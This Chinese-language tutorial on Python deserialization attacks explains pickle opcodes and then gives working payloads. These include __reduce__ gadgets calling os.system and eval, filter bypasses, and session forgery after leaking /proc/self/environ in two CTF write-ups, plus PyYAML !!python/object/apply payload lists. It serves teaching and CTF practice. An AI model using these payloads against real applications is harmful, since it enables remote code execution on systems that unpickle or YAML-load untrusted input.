浅谈python反序列化

pickle反序列化

pickle讲解

与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。

pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

  • 指令处理器

    从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。

  • stack

    由 Python 的 list 实现,被用来临时存储数据、参数以及对象。

  • memo

    由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

类似于我们在 PHP 中的 serialize 和 unserialize,如果 unserialize 的输入可控我们就可能可以进行恶意的攻击

pickletools

使用pickletools可以方便的将opcode转化为便于肉眼读取的形式。

下面是pickletools的三个方法

1,pickletools.dis(*pickle*, *out=None*, *memo=None*, *indentlevel=4*, *annotate=0*)

1
将 pickle 的符号化反汇编数据输出到文件类对象 out,默认为 sys.stdout。 pickle 可以是一个字符串或一个文件类对象。 memo 可以是一个将被用作 pickle 的备忘记录的 Python 字典;它可被用来对由同一封存器创建的多个封存对象执行反汇编。 由 MARK 操作码指明的每个连续级别将会缩进 indentlevel 个空格。 如果为 annotate 指定了一个非零值,则输出中的每个操作码将以一个简短描述来标注。 annotate 的值会被用作标注所应开始的列的提示。

2,pickletools.genops(pickle)

1
提供包含 pickle 中所有操作码的 iterator,返回一个 (opcode, arg, pos) 三元组的序列。 opcode 是 OpcodeInfo 类的一个实例;arg 是 Python 对象形式的 opcode 参数的已解码值;pos 是 opcode 所在的位置。 pickle 可以是一个字符串或一个文件类对象。

3,pickletools.optimize(*picklestring*)

1
在消除未使用的 `PUT` 操作码之后返回一个新的等效 pickle 字符串。 优化后的 pickle 将更为简短,耗费更为的传输时间,要求更少的存储空间并能更高效地解封。

举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import pickle
import pickletools

class test:
def __init__(self):
self.people = 'lituer'
a = test()
serialized = pickle.dumps(a, protocol=3) # 指定PVM 协议版本
print(serialized)
unserialized = pickle.loads(serialized) # 注意,loads 能够自动识别反序列化的版本
print(unserialized.people)
pickletools.dis(serialized)

# b'\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00peopleq\x03X\x06\x00\x00\x00lituerq\x04sb.'
# lituer
# 0: \x80 PROTO 3
# 2: c GLOBAL '__main__ test'
# 17: q BINPUT 0
# 19: ) EMPTY_TUPLE
# 20: \x81 NEWOBJ
# 21: q BINPUT 1
# 23: } EMPTY_DICT
# 24: q BINPUT 2
# 26: X BINUNICODE 'people'
# 37: q BINPUT 3
# 39: X BINUNICODE 'lituer'
# 50: q BINPUT 4
# 52: s SETITEM
# 53: b BUILD
# 54: . STOP
# highest protocol among opcodes = 2

pickle模块常见方法及接口

1
pickle.dump(*obj*, *file*, *protocol=None*, ***, *fix_imports=True*)

将打包好的对象 obj 写入文件中,其中protocol为pickling的协议版本(下同)。

1
pickle.dumps(*obj*, *protocol=None*, ***, *fix_imports=True*)

obj 打包以后的对象作为bytes类型直接返回。

1
pickle.load(*file*, ***, *fix_imports=True*, *encoding="ASCII"*, *errors="strict"*)

从文件中读取二进制字节流,将其反序列化为一个对象并返回。

1
pickle.loads(*data*, ***, *fix_imports=True*, *encoding="ASCII"*, *errors="strict"*)

从data中读取二进制字节流,将其反序列化为一个对象并返回。

1
object.__reduce__()

__reduce__()其实是object类中的一个魔术方法,我们可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。

Python要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该callable就会被调用,参数为para1、para2...

与PHP 反序列化漏洞不同的是(PHP 反序列化漏洞要求源代码中必须存在有问题的类,且对象参数可控可生成恶意对象),而 Python 反序列化漏洞,只需要被反序列化的字符可控即可造成 RCE(可自己创建危险方法来命令执行)

可以绕过对builtins system os的waf

1
2
func = getattr(__import__('builtins'), 'eval')
func('__import__("os").system("whoami")')

opcode

pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
MARK           = b'('   # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from < 256 bytes
LONG4 = b'\x8b' # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly

利用方法

rce

reduce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import os
import base64

class zIxyd(object):
def __reduce__(self):
s = "whoami"
return os.system, (s,)

payload = zIxyd()
serialze = pickle.dumps(payload)
base64_data = base64.b64encode(serialze)
print(base64_data)
pickle.loads(serialze)

利用反序列化执行指令

eval

1
2
3
4
5
6
7
8
9
10
import pickle
import base64

class zIxyd(object):
def __reduce__(self):
return (eval, ("__import__('os').system('id')",))
payload = zIxyd()
pickle_a = pickle.dumps(payload)
encoded_data = base64.b64encode(pickle_a)
print(encoded_data)

变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

key1 = b'321'
key2 = b'123'
class zIxyd(object):
def __reduce__(self):
return (exec,("key1=b'1'\nkey2=b'2'",))

payload = zIxyd()
pickle_a = pickle.dumps(payload)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)

将key1和key2的值进行了覆盖

ctf例题

[HFCTF 2021 Final]easyflask

5ee2df16-6fa5-4013-bf10-93942829bbf3.node5.buuoj.cn:81/file?file=/app/source

非预期直接读取环境变量

/proc/1/environ

通过文件包含获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})

@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"

@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content

@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'

if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

/proc/self/environ读取该信息获取key进行session伪造

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
from base64 import b64encode
import os

User = type('User', (object,), {
'uname': 'tyskill',
'is_admin': 0,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system, ("ls>/1.txt",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())

根据生成的数据进行session伪造,使用伪造的session访问admin路由

python3 flask_session_cookie_manager3.py encode -s ‘glzjin22948575858jfjfjufirijidjitg3uiiuuh’ -t “{‘u’:{‘b’:’gASVKwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBBjYXQgL2ZsYWc+L3Rlc3QylIWUUpQu’}}”

[HZNUCTF 2023 preliminary]pickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0')

分析源码经典的python反序列化题目

1
2
3
4
5
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"

关键代码,具有漏洞并且其有个waf是将os替换为空

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import base64


class A(object):
def __reduce__(self):
return (eval, ("__import__('o'+'s').popen('ls>1.txt').read()",))


a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

使用字符串拼接绕过即可

最后查看环境变量env即可获得flag

可以通过题目发现ctf中的python题目十分容易出现阅读环境变量的非预期解

pker的使用

  • pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器,可以在https://github.com/eddieivan01/pker下载源码。
  • 使用pker,我们可以更方便地编写pickle opcode(生成pickle版本0的opcode)。
  • 再次建议,在能够手写opcode的情况下使用pker进行辅助编写,不要过分依赖pker。
  • 此外,pker的实现用到了python的ast(抽象语法树)库,抽象语法树也是一个很重要东西,有兴趣的可以研究一下ast库和pker的源码,由于篇幅限制,这里不再叙述。

Pker可以做到什么

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

pker工具可以用来构造opcode

pyyaml反序列化

<5.1 版本中提供了几个方法用于解析 YAML:

  1. yaml.load:加载单个 YAML 配置
  2. yaml.load_all:加载多个 YAML 配置

以上这两种均可以通过 Loader 参数来指定加载器。一共有三个加载器,加载器后面对应了三个不同的构造器:

  1. BaseConstructor:最最基础的构造器,不支持强制类型转换
  2. SafeConstructor:集成 BaseConstructor,强制类型转换和 YAML 规范保持一致,没有魔改
  3. Constructor:在 YAML 规范上新增了很多强制类型转换

Constructor 这个是最危险的构造器,却是默认使用的构造器。

python/object/apply

对应的函数是 construct_python_object_apply,最终在 make_python_instance 中引入了模块中的方法并执行。

python/object/apply 要求参数必须用一个列表的形式提供,所以以下 payload 都是等价的,但是写法不一样,可以用来绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
yaml.load('exp: !!python/object/apply:os.system ["whoami"]')

yaml.load("exp: !!python/object/apply:os.system ['whoami']")

# 引号当然不是必须的
yaml.load("exp: !!python/object/apply:os.system [whoami]")

yaml.load("""
exp: !!python/object/apply:os.system
- whoami
""")

yaml.load("""
exp: !!python/object/apply:os.system
args: ["whoami"]
""")

# command 是 os.system 的参数名
yaml.load("""
exp: !!python/object/apply:os.system
kwds: {"command": "whoami"}
""")

yaml.load("!!python/object/apply:os.system [whoami]: exp")

yaml.load("!!python/object/apply:os.system [whoami]")

yaml.load("""
!!python/object/apply:os.system
- whoami
""")

python/module

对应的函数是 construct_python_module,里面调用了 find_python_module,等价于 import

那么在这种没有调用逻辑的情况下,是否有办法利用呢?我感觉在可以写任意文件的时候是有办法的。比如搭配任意文件上传。

首先写入执行目录,yaml 中指定同名模块,例如上传一段恶意代码,叫 exp.py,然后通过 yaml.load('!!python/module:exp') 加载。

常规利用方式

常规的利用方式和 <5.1 版本的姿势是一样的。当然前提是构造器必须用的是 UnsafeConstructor 或者 Constructor,也就是这种情况:

  1. yaml.unsafe_load(exp)
  2. yaml.unsafe_load_all(exp)
  3. yaml.load(exp, Loader=UnsafeLoader)
  4. yaml.load(exp, Loader=Loader)
  5. yaml.load_all(exp, Loader=UnsafeLoader)
  6. yaml.load_all(exp, Loader=Loader)

通用poc

通用POC

经过上面的了解与验证,我们知道只要存在yaml.load()且参数可控,则可以利用yaml反序列化漏洞,下面为常用的Payload:

1
2
3
4
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]